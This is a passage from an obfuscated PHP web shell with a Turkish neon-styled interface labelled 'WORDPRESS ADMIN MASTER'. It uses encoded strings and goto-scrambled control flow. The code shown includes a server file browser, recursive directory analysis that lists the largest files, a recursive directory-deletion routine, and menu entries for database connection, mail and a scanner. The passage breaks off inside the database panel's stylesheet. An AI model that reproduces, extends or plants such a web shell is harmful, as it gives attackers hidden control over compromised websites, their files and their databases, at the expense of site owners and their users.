"\74\x64\x69\x76\x20\x63\154\141\x73\x73\x3d\x22\x6f\165\164\x70\x75\x74\55\x6c\x69\156\x65\x22\x3e\74\163\x70\141\x6e\40\x63\x6c\x61\163\163\x3d\x22\x69\156\x66\x6f\x22\76\360\237\x93\202\40" . htmlspecialchars($browser_dir) . "\74\x2f\x73\160\141\156\76\74\57\144\151\x76\76"; echo "\x3c\x64\x69\166\x20\143\x6c\141\x73\163\x3d\42\x6f\165\x74\x70\165\x74\x2d\x6c\151\156\145\42\76\74\163\160\141\156\x20\x63\154\x61\163\x73\75\42\x64\151\x6d\42\76\xf0\237\223\201\x20" . count($dirs) . "\x20\x64\151\172\x69\156\54\x20\xf0\x9f\x93\x84\x20" . count($files) . "\40\x64\157\x73\x79\141\x3c\x2f\163\160\141\x6e\x3e\x3c\x2f\144\x69\166\x3e"; echo "\x3c\x64\x69\x76\40\x73\x74\171\154\x65\75\42\x62\157\162\x64\145\162\55\x74\157\x70\x3a\x31\x70\170\x20\x73\x6f\x6c\x69\x64\x20\162\x67\142\141\x28\61\x37\x39\x2c\60\54\x32\x35\65\x2c\60\x2e\x30\x35\51\x3b\x6d\x61\162\x67\x69\156\x2d\164\x6f\x70\72\65\160\x78\x3b\160\141\x64\144\x69\156\147\55\x74\x6f\160\72\x35\160\170\x3b\42\x3e\74\57\x64\151\166\x3e"; if ($browser_dir != "\x2f") { $parent = dirname($browser_dir); echo "\x3c\144\x69\166\40\x63\154\x61\x73\163\75\x22\157\165\x74\x70\x75\x74\x2d\154\x69\x6e\145\x22\x3e\x3c\x73\x70\141\156\40\x63\154\141\163\x73\75\x22\x69\156\146\x6f\x22\x3e\360\x9f\x93\x82\x3c\x2f\163\x70\x61\156\76\x20\x3c\x61\x20\x68\x72\145\146\x3d\x22\43\42\40\x6f\156\143\x6c\151\143\x6b\x3d\x22\152\165\155\160\x54\157\x28\x27" . addslashes($parent) . "\x27\x29\42\x20\x73\164\x79\154\x65\75\x22\143\x6f\x6c\x6f\x72\72\166\141\162\50\55\x2d\x6e\x65\157\156\55\155\x61\166\x69\x29\73\x74\x65\170\x74\55\144\x65\x63\157\x72\x61\x74\x69\157\x6e\72\x6e\x6f\156\x65\73\x22\x3e\x2e\56\40\50\xc3\274\x73\164\x20\x64\151\172\151\156\x29\x3c\x2f\x61\x3e\x3c\57\144\x69\x76\76"; } foreach ($dirs as $dir) { echo "\74\x64\151\166\40\x63\x6c\141\x73\163\x3d\42\157\x75\164\160\x75\x74\x2d\x6c\151\156\x65\42\76\74\x73\160\x61\x6e\x20\x63\154\x61\163\x73\75\42\x64\x69\162\x22\x3e\xf0\237\x93\x81\x3c\x2f\163\160\141\156\x3e\40\x3c\x61\x20\150\x72\145\x66\75\42\43\42\40\x6f\156\x63\154\151\x63\153\75\x22\x6a\x75\x6d\160\x54\x6f\50\47" . addslashes($browser_dir . "\x2f" . $dir) . "\47\x29\x22\40\163\x74\x79\x6c\145\x3d\42\143\157\154\157\x72\72\x76\141\x72\50\55\x2d\x6e\145\157\x6e\55\x6d\x61\166\x69\x29\73\164\145\170\164\x2d\144\145\143\x6f\x72\141\164\x69\157\156\72\156\x6f\x6e\x65\x3b\42\76" . htmlspecialchars($dir) . "\x3c\57\x61\x3e\74\57\x64\151\x76\76"; } foreach ($files as $file) { $full_path = $browser_dir . "\57" . $file; $size = @filesize($full_path); if ($size === false) { $size_text = "\x20\77\x20\x42"; } else { $size_text = "\x20" . formatSize($size); } echo "\74\x64\151\166\40\x63\154\x61\x73\x73\75\x22\157\x75\164\x70\x75\x74\55\154\x69\156\145\x22\76\74\163\x70\x61\x6e\x20\143\154\x61\x73\163\75\x22\146\151\x6c\x65\x22\x3e\xf0\237\x93\x84\74\57\163\160\x61\x6e\x3e\40" . htmlspecialchars($file) . "\40\x3c\163\x70\x61\156\x20\143\x6c\x61\x73\163\x3d\x22\144\151\155\42\x3e" . $size_text . "\74\57\x73\160\x61\x6e\76\74\57\x64\151\166\x3e"; } echo "\x3c\x2f\144\x69\x76\76"; } else { echo "\74\144\151\x76\40\143\x6c\x61\163\x73\x3d\x22\152\165\155\160\x69\156\x67\x2d\x6f\x75\x74\x70\x75\x74\42\x3e"; echo "\x3c\x64\151\x76\40\143\x6c\141\x73\x73\x3d\x22\157\x75\x74\160\165\164\55\154\x69\156\x65\42\x3e\x3c\163\x70\141\x6e\40\143\154\141\x73\163\x3d\42\145\162\162\x6f\x72\x22\76\342\x9d\x8c\40\104\151\172\151\x6e\40\x62\x75\x6c\165\156\141\x6d\141\x64\xc4\xb1\x21\x3c\57\163\x70\141\156\76\x3c\x2f\144\151\166\x3e"; echo "\x3c\x2f\144\x69\x76\x3e"; } } ?> </div> <!-- ============================================================ --> <!-- 4. DİZİN BİLGİSİ & İSTATİSTİK (DÜZELTİLMİŞ) --> <!-- ============================================================ --> <div class="jumping-card"> <div class="card-header"> <i class="fas fa-chart-pie"></i> <h4>📊 Dizin Bilgisi</h4> <span class="badge">İstatistik</span> </div> <form method="POST" class="jumping-form"> <div class="input-group"> <input type="text" name="info_dir" placeholder="Dizin yolu" value="<?php echo htmlspecialchars(getcwd()); ?> "> <button type="submit" name="jump_action" value="info" class="btn-neon-jumping primary"> <i class="fas fa-chart-bar"></i> Analiz </button> </div> </form> <?php if (isset($_POST["\152\x75\155\x70\x5f\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x6a\x75\x6d\160\x5f\x61\143\x74\x69\x6f\x6e"] == "\151\156\146\157") { $info_dir = rtrim($_POST["\x69\156\146\x6f\x5f\144\151\162"], "\57"); if (is_dir($info_dir) && is_readable($info_dir)) { $total_files = 0; $total_dirs = 0; $total_size = 0; $extensions = array(); $largest_files = array(); $error_files = 0; try { $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($info_dir, RecursiveDirectoryIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iter as $item) { try { if ($item->isDir()) { $total_dirs++; } else { $total_files++; $size = @$item->getSize(); if ($size === false || $size === null) { $error_files++; continue; } $total_size += $size; $ext = pathinfo($item->getFilename(), PATHINFO_EXTENSION); if ($ext) { $extensions[$ext] = ($extensions[$ext] ?? 0) + 1; } $largest_files[] = array("\156\x61\x6d\x65" => $item->getFilename(), "\x73\151\x7a\145" => $size, "\x70\141\x74\150" => $item->getPathname()); } } catch (Exception $e) { $error_files++; continue; } } } catch (Exception $e) { echo "\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\x6a\165\155\160\x69\x6e\147\55\x6f\x75\x74\x70\165\164\x22\x3e"; echo "\x3c\144\x69\166\40\x63\154\141\163\x73\x3d\x22\x6f\165\x74\x70\x75\x74\x2d\154\x69\156\x65\x22\x3e\74\x73\160\x61\x6e\40\x63\x6c\x61\163\x73\75\x22\x65\162\162\x6f\x72\x22\x3e\xe2\235\x8c\x20\x44\151\x7a\151\156\x20\164\141\162\x61\156\141\155\141\144\304\261\x3a\40" . htmlspecialchars($e->getMessage()) . "\74\57\x73\160\x61\156\76\x3c\x2f\x64\151\166\x3e"; echo "\74\x2f\144\151\x76\76"; return; } usort($largest_files, function ($a, $b) { return $b["\x73\x69\x7a\145"] - $a["\x73\x69\x7a\145"]; }); $largest_files = array_slice($largest_files, 0, 5); arsort($extensions); $extensions = array_slice($extensions, 0, 5); echo "\74\x64\151\166\40\x63\154\x61\163\x73\x3d\42\152\x75\x6d\160\151\156\x67\x2d\157\x75\164\x70\x75\164\42\x3e"; echo "\x3c\144\151\166\40\143\x6c\x61\x73\163\75\x22\157\x75\x74\160\165\x74\55\154\151\156\145\x22\x3e\74\163\x70\x61\156\40\x63\x6c\141\x73\x73\75\x22\151\x6e\146\157\x22\76\xf0\x9f\x93\x8a\40\x41\x6e\141\154\x69\x7a\x3a\40" . htmlspecialchars($info_dir) . "\x3c\57\163\x70\141\x6e\x3e\x3c\57\x64\x69\166\x3e"; echo "\74\x64\151\x76\40\x63\x6c\x61\x73\163\x3d\42\x6f\165\x74\x70\165\x74\55\x6c\x69\156\145\42\76\x3c\x73\160\141\156\x20\143\154\x61\163\163\x3d\42\x64\x69\x6d\x22\76\360\x9f\x93\201\x20\104\x69\x7a\151\x6e\x3a\40" . $total_dirs . "\x3c\x2f\x73\x70\141\x6e\x3e\74\x2f\144\151\x76\x3e"; echo "\x3c\x64\151\x76\x20\143\x6c\141\x73\x73\x3d\x22\x6f\x75\164\160\165\x74\x2d\154\151\156\x65\42\x3e\x3c\163\x70\141\x6e\40\143\154\x61\163\x73\75\x22\x64\151\155\42\x3e\xf0\237\223\204\x20\104\157\x73\171\x61\x3a\40" . $total_files . "\74\x2f\x73\160\x61\x6e\x3e\74\x2f\144\x69\166\x3e"; if ($error_files > 0) { echo "\x3c\x64\151\x76\40\143\x6c\141\x73\x73\75\42\x6f\165\164\x70\x75\x74\55\154\151\x6e\x65\42\76\74\163\x70\141\x6e\40\143\154\141\x73\163\75\x22\x77\x61\162\156\42\x3e\342\x9a\240\357\xb8\217\40\105\162\151\xc5\x9f\151\x6c\x65\155\145\171\145\x6e\40\x64\x6f\163\171\x61\72\x20" . $error_files . "\74\x2f\x73\x70\x61\156\x3e\x3c\x2f\x64\x69\x76\76"; } echo "\x3c\x64\x69\166\40\143\x6c\141\x73\x73\75\x22\157\165\x74\x70\165\164\x2d\x6c\151\x6e\145\42\76\74\163\160\141\156\40\143\x6c\x61\x73\x73\x3d\x22\144\151\155\42\x3e\360\237\x92\xbe\40\x54\x6f\160\154\141\x6d\72\40" . formatSize($total_size) . "\74\57\163\160\141\x6e\x3e\x3c\57\x64\x69\x76\x3e"; if (!empty($extensions)) { echo "\74\144\151\x76\x20\x73\164\171\x6c\145\75\42\x62\x6f\162\x64\145\x72\x2d\x74\157\x70\72\x31\x70\x78\x20\163\157\x6c\151\x64\40\162\x67\142\141\x28\61\x37\71\x2c\60\x2c\62\x35\x35\x2c\x30\x2e\x30\65\x29\73\x6d\141\x72\147\151\x6e\55\x74\x6f\160\72\x35\160\170\73\160\141\144\x64\151\156\x67\55\164\x6f\x70\x3a\x35\160\x78\73\42\76\74\57\144\151\166\x3e"; echo "\74\x64\151\166\40\143\154\141\x73\x73\75\x22\x6f\165\164\160\x75\164\55\x6c\x69\156\x65\x22\76\74\163\160\x61\x6e\40\143\x6c\141\x73\163\x3d\x22\x77\141\162\x6e\42\76\360\237\x93\x8b\40\105\156\40\303\xa7\157\x6b\x20\153\165\154\154\141\x6e\304\xb1\x6c\141\x6e\x20\x75\x7a\141\x6e\164\304\261\x6c\141\x72\72\x3c\57\163\160\141\x6e\76\x3c\x2f\144\151\x76\76"; foreach ($extensions as $ext => $count) { echo "\x3c\144\x69\x76\40\143\x6c\141\x73\x73\x3d\42\x6f\165\164\160\x75\164\x2d\154\151\156\x65\x22\76\x3c\x73\160\141\156\x20\143\154\x61\x73\163\75\42\144\151\x6d\x22\76\40\40\56" . $ext . "\x3a\74\57\x73\x70\x61\156\x3e\40" . $count . "\40\144\x6f\163\x79\x61\74\57\x64\x69\x76\76"; } } if (!empty($largest_files)) { echo "\74\x64\x69\x76\x20\x73\x74\171\x6c\145\75\x22\x62\x6f\x72\x64\145\162\x2d\164\x6f\x70\x3a\61\x70\x78\40\x73\x6f\x6c\151\x64\x20\162\x67\x62\x61\50\61\x37\x39\x2c\x30\54\x32\x35\x35\x2c\x30\x2e\60\65\51\73\x6d\141\x72\x67\151\156\x2d\164\x6f\160\72\65\x70\x78\73\160\x61\144\144\x69\156\x67\55\164\x6f\160\72\x35\160\x78\73\42\76\x3c\x2f\x64\151\166\76"; echo "\x3c\144\151\x76\40\x63\x6c\x61\x73\163\x3d\42\x6f\x75\x74\160\165\164\x2d\154\x69\x6e\145\x22\76\x3c\163\x70\x61\x6e\40\x63\154\141\163\x73\x3d\42\167\x61\162\156\x22\76\360\x9f\223\246\40\x45\156\x20\142\303\xbc\x79\xc3\xbc\153\x20\144\157\x73\x79\141\x6c\x61\x72\x3a\74\x2f\163\160\141\x6e\76\74\57\144\x69\x76\x3e"; foreach ($largest_files as $file) { echo "\x3c\x64\151\166\40\143\x6c\141\163\x73\x3d\x22\x6f\165\x74\160\165\x74\x2d\x6c\151\156\145\42\76\74\163\x70\x61\156\40\143\x6c\x61\163\x73\75\42\144\151\x6d\x22\76\40\40" . htmlspecialchars($file["\156\x61\155\x65"]) . "\x3a\74\x2f\163\x70\x61\x6e\x3e\x20" . formatSize($file["\163\x69\172\x65"]) . "\x3c\x2f\144\151\166\x3e"; } } echo "\74\57\x64\x69\x76\x3e"; } else { echo "\74\144\x69\x76\40\x63\154\141\x73\x73\x3d\42\x6a\x75\x6d\x70\151\x6e\x67\x2d\157\x75\164\x70\165\x74\x22\x3e"; echo "\74\144\x69\x76\x20\x63\x6c\x61\x73\163\x3d\42\157\165\164\160\165\164\55\154\x69\156\145\x22\76\74\163\160\x61\x6e\x20\x63\154\x61\163\163\x3d\x22\x65\162\162\157\162\x22\x3e\342\x9d\214\x20\x44\x69\172\151\x6e\x20\142\x75\154\x75\156\x61\x6d\141\x64\304\xb1\40\x76\145\x79\141\40\157\x6b\x75\x6e\x61\155\304\261\x79\x6f\x72\41\x3c\57\163\x70\x61\x6e\x3e\74\x2f\144\x69\x76\76"; echo "\74\57\x64\x69\166\x3e"; } } ?> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas-jumping'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; this.color = ['#b300ff', '#ff00aa', '#00d4ff', '#00ff88', '#ffd700'][Math.floor(Math.random() * 5)]; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 4); gradient.addColorStop(0, this.color + Math.round(this.opacity * 150).toString(16).padStart(2, '0')); gradient.addColorStop(0.5, this.color + Math.round(this.opacity * 50).toString(16).padStart(2, '0')); gradient.addColorStop(1, this.color + '00'); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 4, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color + Math.round(this.opacity * 200).toString(16).padStart(2, '0'); ctx.fill(); } } const particleCount = Math.min(80, Math.floor(window.innerWidth * window.innerHeight / 25000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { const opacity = (1 - dist / 120) * 0.06; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== JUMP FUNCTIONS ===== function jumpTo(path) { document.querySelector('input[name=jump_dir]').value = path; document.querySelector('form').submit(); } function copyPath(path) { if (navigator.clipboard) { navigator.clipboard.writeText(path).then(() => { // Başarılı }); } else { // Fallback const input = document.createElement('input'); input.value = path; document.body.appendChild(input); input.select(); document.execCommand('copy'); document.body.removeChild(input); } } // ===== JUMP PRESET ===== document.addEventListener('DOMContentLoaded', function() { const presetSelect = document.getElementById('jump_preset'); const jumpInput = document.querySelector('input[name=jump_dir]'); if (presetSelect && jumpInput) { presetSelect.addEventListener('change', function() { if (this.value) { jumpInput.value = this.value; } }); } }); // ===== FORMAT SIZE ===== function formatSize(bytes) { if (bytes === 0 || bytes === false || isNaN(bytes) || bytes === null) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } </script> <?php } goto cMV8P; rSxWD: ?> <!-- ============================================================ --> <!-- ===== WORDPRESS ADMIN MASTER - NEON MOR PARTİKÜL ===== --> <!-- ============================================================ --> <?php goto CK2mZ; jg0ix: ?> "><i class="fas fa-search"></i><span>DB Bağlantı</span></a> <a href="?action=captaindb" class="<?php goto IvFqO; SMB7Y: if (!function_exists("\144\x65\x6c\x65\164\x65\104\151\162")) { function deleteDir($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return @unlink($dir); } foreach (scandir($dir) as $item) { if ($item == "\56" || $item == "\56\56") { continue; } if (!deleteDir($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return @rmdir($dir); } } goto uehWo; Q4_f0: ?> "><i class="fas fa-envelope"></i><span>Mail</span></a> <a href="?action=scanner" class="<?php goto U1Zo1; xG_dN: if ($action == "\x64\141\x74\141\142\x61\163\x65") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; --neon-kirmizi: #ff0044; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas-database { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.3; } .database-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== DATABASE CONTAINER ===== */ .database-container { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; padding: 10px 0; } /* ===== DATABASE CARDS ===== */ .database-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); position: relative; overflow: hidden; } .database-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .database-card:hover::before { opacity: 1; } .database-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } .database-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .database-card:hover::after { opacity: 1; } /* ===== CARD HEADER ===== */ .database-card .card-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .database-card .card-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulseDatabase 3s ease-in-out infinite; } @keyframes iconPulseDatabase { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .database-card .card-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .database-card .card-header .badge { margin-left: auto; font-size: 9px; padding: 2px 12px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); text-transform: uppercase; letter-spacing: 0.5px; } /* ===== CURRENT STATUS ===== */ .current-status { background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 8px; padding: 10px 12px; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; font-size: 12px; flex-wrap: wrap; } .current-status .label { color: rgba(180, 150, 255, 0.4); font-size: 10px; text-transform: uppercase; letter-spacing: 1px; } .current-status .status-icon { font-size: 18px; } .current-status .status-text { color: var(--neon-yesil); font-family: monospace; flex: 1; } .current-status .status-text.error { color: var(--neon-kirmizi); } /* ===== FORM ELEMENTS ===== */ .database-form { display: flex; flex-direction: column; gap: 10px; } .database-form .input-group { display: flex; gap: 8px; flex-wrap: wrap; } .database-form input, .database-form select, .database-form textarea { flex: 1; min-width: 100px; background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 8px; padding: 10px 12px; color: #d4bfff; font-size: 12px; transition: all 0.3s ease; } .database-form input:focus, .database-form select:focus, .database-form textarea:focus { outline: none; border-color: rgba(179, 0, 255, 0.5); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); background: rgba(0, 0, 0, 0.7); } .database-form input::placeholder { color: rgba(180, 150, 255, 0.25); } .database-form select option { background: #1a0033; color: #d4bfff; } .database-form textarea { font-family: 'Courier New', monospace; font-size: 11px; min-height: 80px; resize: vertical; } /* ===== NEON BUTTONS ===== */ .btn-neon-database { background: linear-gradient(135deg, rgba(179, 0, 255, 0.2), rgba(255, 0, 170, 0.1)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 20px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 0 15px rgba(179, 0, 255, 0.05); white-space: nowrap; position: relative; overflow: hidden; text-decoration: none; display: inline-flex; align-items: center; gap: 8px; } .btn-neon-database:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.05); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); color: #d4bfff; } .btn-neon-database:active { transform: scale(0.95); } .btn-neon-database.success { background: linear-gradient(135deg, rgba(0, 255, 136, 0.2), rgba(0, 212, 255, 0.1)); border-color: rgba(0, 255, 136, 0.3); } .btn-neon-database.success:hover { border-color: rgba(0, 255, 136, 0.6); box-shadow: 0 0 30px rgba(0, 255, 136, 0.15); } .btn-neon-database.primary { background: linear-gradient(135deg, rgba(0, 212, 255, 0.2), rgba(179, 0, 255, 0.1)); border-color: rgba(0, 212, 255, 0.3); } .btn-neon-database.primary:hover { border-color: rgba(0, 212, 255, 0.6); box-shadow: 0 0 30px rgba(0, 212, 255, 0.15); } .btn-neon-database.warning { background: linear-gradient(135deg, rgba(255, 215, 0, 0.2), rgba(255, 106, 0, 0.1)); border-color: rgba(255, 215, 0, 0.3); } .btn-neon-database.warning:hover { border-color: rgba(255, 215, 0, 0.6); box-shadow: 0 0 30px rgba(255, 215, 0, 0.15); } .btn-neon-database.danger { background: linear-gradient(135deg, rgba(255, 0, 68, 0.2), rgba(255, 0, 170, 0.1)); border-color: rgba(255, 0, 68, 0.3); } .btn-neon-database.danger:hover { border-color: rgba(255, 0, 68, 0.6); box-shadow: 0 0 30px rgba(255, 0, 68, 0.15); } .btn-neon-database.small { padding: 6px 14px; font-size: 10px; } .btn-group-database { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; } /* ===== DATABASE OUTPUT ===== */ .database-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.08); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 400px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .database-output::before { content: '▼ SQL OUTPUT'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 8px; letter-spacing: 2px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .database-output::-webkit-scrollbar { width: 4px; } .database-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .database-output::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.3); border-radius: 2px; } .database-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .database-output .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .database-output .output-line:last-child { border-bottom: none; } .database-output .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .database-output .output-line .error { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } .database-output .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .database-output .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .database-output .output-line .dim { color: rgba(180, 150, 255, 0.3); } /* ===== TABLE STYLES ===== */ .db-table-wrapper { overflow-x: auto; margin-top: 5px; } .db-table { width: 100%; border-collapse: collapse; font-size: 10px; } .db-table thead th { text-align: left; padding: 6px 8px; color: var(--neon-mor); border-bottom: 2px solid rgba(179, 0, 255, 0.3); font-weight: 600; text-transform: uppercase; font-size: 9px; letter-spacing: 0.5px; position: sticky; top: 0; background: rgba(0, 0, 0, 0.8); backdrop-filter: blur(5px); } .db-table tbody td { padding: 4px 8px; border-bottom: 1px solid rgba(179, 0, 255, 0.05); color: #c4b0e6; } .db-table tbody tr:hover td { background: rgba(179, 0, 255, 0.05); } .db-table tbody td:first-child { color: var(--neon-mavi); } .db-table tbody tr:nth-child(even) td { background: rgba(0, 0, 0, 0.2); } .db-table tbody tr:nth-child(even):hover td { background: rgba(179, 0, 255, 0.08); } /* ===== INFO GRID ===== */ .info-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 6px; margin-top: 10px; } .info-item { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(179, 0, 255, 0.05); border-radius: 6px; padding: 8px 10px; text-align: center; } .info-item .info-value { color: var(--neon-mor); font-size: 16px; font-weight: 600; font-family: monospace; } .info-item .info-label { color: rgba(180, 150, 255, 0.3); font-size: 8px; text-transform: uppercase; letter-spacing: 1px; margin-top: 2px; } /* ===== TOGGLE SWITCH ===== */ .toggle-switch-database { position: relative; display: inline-block; width: 34px; height: 18px; margin: 0 8px; } .toggle-switch-database input { opacity: 0; width: 0; height: 0; } .toggle-slider-database { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(179, 0, 255, 0.1); transition: 0.3s; border-radius: 20px; border: 1px solid rgba(179, 0, 255, 0.2); } .toggle-slider-database:before { content: ""; position: absolute; height: 12px; width: 12px; left: 2px; bottom: 2px; background: rgba(180, 150, 255, 0.3); transition: 0.3s; border-radius: 50%; } .toggle-switch-database input:checked + .toggle-slider-database { background: rgba(179, 0, 255, 0.2); border-color: rgba(179, 0, 255, 0.4); } .toggle-switch-database input:checked + .toggle-slider-database:before { transform: translateX(16px); background: var(--neon-mor); box-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .toggle-label-database { color: rgba(180, 150, 255, 0.6); font-size: 10px; display: flex; align-items: center; gap: 4px; cursor: pointer; transition: color 0.3s ease; } .toggle-label-database:hover { color: rgba(180, 150, 255, 0.8); } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .database-container { grid-template-columns: 1fr; gap: 15px; } .database-card { padding: 15px; } .database-form .input-group { flex-direction: column; } .btn-neon-database { width: 100%; justify-content: center; } .database-card .card-header h4 { font-size: 11px; } .info-grid { grid-template-columns: 1fr; } } /* ===== ANIMATIONS ===== */ @keyframes pulseGlowDatabase { 0%, 100% { box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } 50% { box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); } } .database-card { animation: pulseGlowDatabase 3s ease-in-out infinite; } @keyframes slideInDatabase { from { opacity: 0; transform: translateY(10px) scale(0.98); } to { opacity: 1; transform: translateY(0) scale(1); } } .database-output { animation: slideInDatabase 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .database-card { animation: fadeInUp 0.5s ease forwards; } .database-card:nth-child(1) { animation-delay: 0.05s; } .database-card:nth-child(2) { animation-delay: 